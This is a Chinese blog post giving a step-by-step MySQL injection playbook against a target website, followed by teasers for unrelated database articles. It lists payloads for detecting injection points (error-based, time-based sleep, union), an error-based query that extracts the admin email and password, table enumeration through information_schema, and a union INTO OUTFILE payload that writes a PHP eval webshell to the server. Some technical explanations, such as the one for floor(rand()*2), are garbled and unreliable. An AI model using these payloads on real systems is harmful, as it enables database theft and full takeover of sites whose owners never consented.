MySQL注入中导出字段内容的研究通过注入导出WebShell

yizhihongxing

MySQL注入是指攻击者通过可写的输入源突破Web应用程序,从而访问或修改与该应用程序或其数据库相关的数据。其中,导出字段内容是一种常用的攻击方式,攻击者可以利用注入漏洞获取站点的敏感信息。以下是使用注入导出字段内容的研究及攻略:

攻略概述

  1. 找到目标站点;
  2. 判断目标站点是否存在注入点;
  3. 获取目标站点注入点所在位置;
  4. 利用注入点获取站点数据库信息;
  5. 通过注入获取站点敏感信息;
  6. 导出字段内容;
  7. 注入导出WebShell。

判断目标站点是否存在注入点

在对目标站点进行注入攻击之前,需要先确定该站点是否存在注入点。可以使用BurpSuit、SQLMAP等工具进行判断。

常用判断方式

报错注入

通过输入特定的SQL语句触发目标站点返回数据库错误信息。

' and 1=1 and '1'='2

如果目标站点返回错误信息,则说明存在注入点。

盲注

通过在SQL注入点尝试不同的payload观察返回结果是否变化来推断是否存在SQL注入点。以下为判断是否存在SQL注入点的常用Payload:

and 1=1
and 1=2
and sleep(5)

如果目标站点在执行and sleep(5)的时候等待5秒后才返回结果,则说明存在注入点。

Union注入

在目标站点的注入点中尝试通过Union语句来判断是否存在注入点。以下为判断是否存在注入点的常用Payload:

and 1=2 union select 1,2,3,4
and 1=1 union select 1,2,password,4 from users

如果目标站点在执行第二个Union语句的时候返回了密码信息,则说明存在注入点。

导出字段内容示例

示例1:获取管理员用户信息

假设目标站点存在SQL注入点,而我们想要获取站点管理员用户的信息,可以使用以下Payload:

and (select 1 from (select count(*), concat((select (select (select concat(email,'|||',password) from users where username='admin')) from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

解释:

这段代码使用了MySQL查询表中的数据拼接成字符串的方法,在查询admin用户的email和password时,将两者使用特定符号“|||”连接起来。其中,floor(rand()*2)是为了随机生成0或1,目的是为了在进行Union注入的时候输出不同的结果,从而判断是否存在注入点。如果输出“|||”连接的字符串,则存在注入点。

示例2:获取站点数据库表

这个示例用于获取站点的数据库表,用到了MySQL的information_schema库。payload:

') union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema='dbname'#

其中dbname为站点的数据库名,group_concat()函数用于将结果拼接为字符串而不是返回多行结果,从而避免后续的Union注入错误。

导出WebShell

如果在获取站点的敏感信息时成功得到了管理员的账户和密码,我们可以通过导出WebShell来获取站点更多的信息。以下是导出WebShell的示例Payload:

' union select "<?php @eval($_POST[\"password\"])?>",2,3,4 into outfile '/path/to/webshell.php'#

其中,/path/to/webshell.php需要替换成站点的目录。在执行该语句后,会将WebShell代码写入到服务器指定的文件中,然后攻击者就可以通过该WebShell来访问站点的控制台了。

总之,网站开发者需要高度重视SQL注入的安全性,采取一系列的安全措施来尽量减少漏洞的产生。对于攻击者而言,要有充足的攻击前期准备,以及对Web应用程序和SQL注入攻击的深刻理解。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:MySQL注入中导出字段内容的研究通过注入导出WebShell - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • Hadoop和MongoDB的区别

    Hadoop和MongoDB都是非关系型数据库。Hadoop是一个高可用性的分布式文件系统,支持大量数据的存储,以及数据的处理和管理。而MongoDB是一个面向文档存储的NoSQL数据库,具备稳定性,性能和可扩展性。下面着重从以下几个方面来讲解Hadoop和MongoDB的区别: 数据的存储 Hadoop存储数据使用的是Hadoop分布式文件系统(HDFS)…

    database 2023年3月27日
    00
  • MySQL5.6基于GTID的主从复制

    MySQL5.6基于GTID的主从复制是一种高可用性的解决方案,主要通过全局事务标识符(GTID)来自动化管理主从复制,提高复制的可靠性和易用性。下面是详细的攻略过程: 准备工作 确认MySQL版本 验证MySQL版本是否为5.6及以上版本,支持GTID功能。如果版本低于5.6,需要升级到5.6或以上版本。 配置MySQL实例 确保每个MySQL实例配置了正…

    database 2023年5月22日
    00
  • 解决启动MongoDB错误:error while loading shared libraries: libstdc++.so.6:cannot open shared object file:

    首先,这个错误通常是由于系统中没有安装或者缺失libstdc++.so.6这个动态链接库文件导致的。解决这个问题的方法如下: 检查系统中是否已经安装了libstdc++.so.6库文件 可以使用下面的命令来查看系统中是否已经安装了这个库文件: ldconfig -p | grep libstdc++.so.6 如果输出中有路径信息,则说明这个库文件已经安装。…

    database 2023年5月22日
    00
  • MySQL8.0 DDL原子性特性及实现原理

    MySQL 8.0 DDL原子性特性及实现原理攻略 什么是DDL操作 DDL(Data Definition Language)包含了用来创建(CREATE)、修改(ALTER)、删除(DROP)数据库对象(如表,视图,过程等)的语句。对于MySQL而言,通过执行各种DDL操作可以创建,修改数据库对象,从而达到管理数据的目的。 DDL对原始数据的影响 在进行…

    database 2023年5月22日
    00
  • MySQL数据库的多种连接方式及工具

    MySQL数据库的多种连接方式及工具 MySQL是一种开源的数据库管理系统,具有高性能,可扩展性和易用性。在使用MySQL时,有多种不同的连接方式和工具可供选择,下面我们将对MySQL数据库的多种连接方式及工具进行详细讲解。 连接方式 MySQL支持多种连接方式,包括: 1. TCP/IP连接 TCP/IP连接是MySQL最常用的连接方式。它利用TCP/IP…

    database 2023年5月18日
    00
  • 解析探秘fescar分布式事务实现原理

    解析探秘fescar分布式事务实现原理 分布式事务是一个难点,因为分布式事务牵涉到多个不同的计算节点之间的协作,要实现一个高效且可靠的分布式事务控制系统并不是一件容易的事。在这篇文章中,我们将讲解如何解析探秘fescar分布式事务实现原理,并通过两个示例说明其工作原理。 什么是fescar fescar是一个基于Java的分布式事务解决方案,旨在解决分布式事…

    database 2023年5月21日
    00
  • MySQL中MIN()函数的使用教程

    MySQL中MIN()函数的使用教程 1. MIN()函数简介 在MySQL中,MIN()函数用于求一组数据中的最小值。可以用于数值型,日期型和字符串类型数据。 2. MIN()函数语法 MIN()函数语法如下: SELECT MIN(exp) FROM table_name WHERE conditions; 3. MIN()函数示例 3.1 数值型数据 …

    database 2023年5月22日
    00
  • 浅谈mysql的timestamp存在的时区问题

    浅谈MySQL的timestamp存在的时区问题 什么是timestamp timestamp是MySQL中一种日期时间类型。它可以自动存储记录的插入时间和更新时间,通常用于记录数据的时间戳信息。 timestamp的时区问题 在MySQL中,timestamp类型是存储为时间戳的整数,它表示从1970年1月1日以来的秒数。但是,timestamp类型存在时…

    database 2023年5月22日
    00
合作推广
合作推广
分享本页
返回顶部